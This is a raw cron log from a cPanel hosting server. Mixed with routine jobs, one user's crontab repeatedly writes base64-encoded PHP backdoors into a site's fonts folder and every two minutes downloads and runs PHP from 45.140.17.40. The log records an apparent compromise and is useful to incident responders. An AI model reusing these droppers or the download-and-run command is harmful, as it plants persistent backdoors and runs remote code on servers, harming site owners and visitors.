Sep 11 11:35:01 ip-184-168-122-23 CROND[26400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:35:01 ip-184-168-122-23 CROND[26402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:35:01 ip-184-168-122-23 CROND[26406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:35:01 ip-184-168-122-23 CROND[26403]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 11:35:01 ip-184-168-122-23 CROND[26408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:35:01 ip-184-168-122-23 CROND[26407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:35:01 ip-184-168-122-23 CROND[26405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:35:01 ip-184-168-122-23 CROND[26404]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 11:36:01 ip-184-168-122-23 CROND[26521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:36:01 ip-184-168-122-23 CROND[26523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:36:01 ip-184-168-122-23 CROND[26524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:36:01 ip-184-168-122-23 CROND[26525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:36:01 ip-184-168-122-23 CROND[26526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:37:01 ip-184-168-122-23 CROND[26628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:37:01 ip-184-168-122-23 CROND[26629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:37:01 ip-184-168-122-23 CROND[26630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:37:01 ip-184-168-122-23 CROND[26627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:38:01 ip-184-168-122-23 CROND[26730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:38:01 ip-184-168-122-23 CROND[26732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:38:01 ip-184-168-122-23 CROND[26733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:38:01 ip-184-168-122-23 CROND[26734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:38:01 ip-184-168-122-23 CROND[26735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:39:01 ip-184-168-122-23 CROND[26838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:39:01 ip-184-168-122-23 CROND[26840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:39:01 ip-184-168-122-23 CROND[26841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:39:01 ip-184-168-122-23 CROND[26842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:39:01 ip-184-168-122-23 CROND[26843]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 11:40:01 ip-184-168-122-23 CROND[27015]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:40:01 ip-184-168-122-23 CROND[27018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:40:01 ip-184-168-122-23 CROND[27020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:40:01 ip-184-168-122-23 CROND[27023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:40:01 ip-184-168-122-23 CROND[27021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:40:01 ip-184-168-122-23 CROND[27025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:40:01 ip-184-168-122-23 CROND[27027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:40:01 ip-184-168-122-23 CROND[27028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:41:01 ip-184-168-122-23 CROND[27137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:41:01 ip-184-168-122-23 CROND[27139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:41:01 ip-184-168-122-23 CROND[27138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:41:01 ip-184-168-122-23 CROND[27140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:42:01 ip-184-168-122-23 CROND[27290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:42:01 ip-184-168-122-23 CROND[27291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:42:01 ip-184-168-122-23 CROND[27294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:42:01 ip-184-168-122-23 CROND[27295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:42:01 ip-184-168-122-23 CROND[27296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:43:01 ip-184-168-122-23 CROND[27420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:43:01 ip-184-168-122-23 CROND[27422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:43:01 ip-184-168-122-23 CROND[27421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:43:01 ip-184-168-122-23 CROND[27424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:44:01 ip-184-168-122-23 CROND[27567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:44:01 ip-184-168-122-23 CROND[27566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:44:01 ip-184-168-122-23 CROND[27563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:44:01 ip-184-168-122-23 CROND[27564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:44:01 ip-184-168-122-23 CROND[27565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:45:01 ip-184-168-122-23 CROND[27755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:45:01 ip-184-168-122-23 CROND[27758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:45:01 ip-184-168-122-23 CROND[27759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:45:01 ip-184-168-122-23 CROND[27756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:45:01 ip-184-168-122-23 CROND[27757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:45:01 ip-184-168-122-23 CROND[27761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:46:01 ip-184-168-122-23 CROND[27872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:46:01 ip-184-168-122-23 CROND[27870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:46:01 ip-184-168-122-23 CROND[27874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:46:01 ip-184-168-122-23 CROND[27875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:46:01 ip-184-168-122-23 CROND[27877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:46:01 ip-184-168-122-23 CROND[27880]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 11:46:01 ip-184-168-122-23 CROND[27881]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
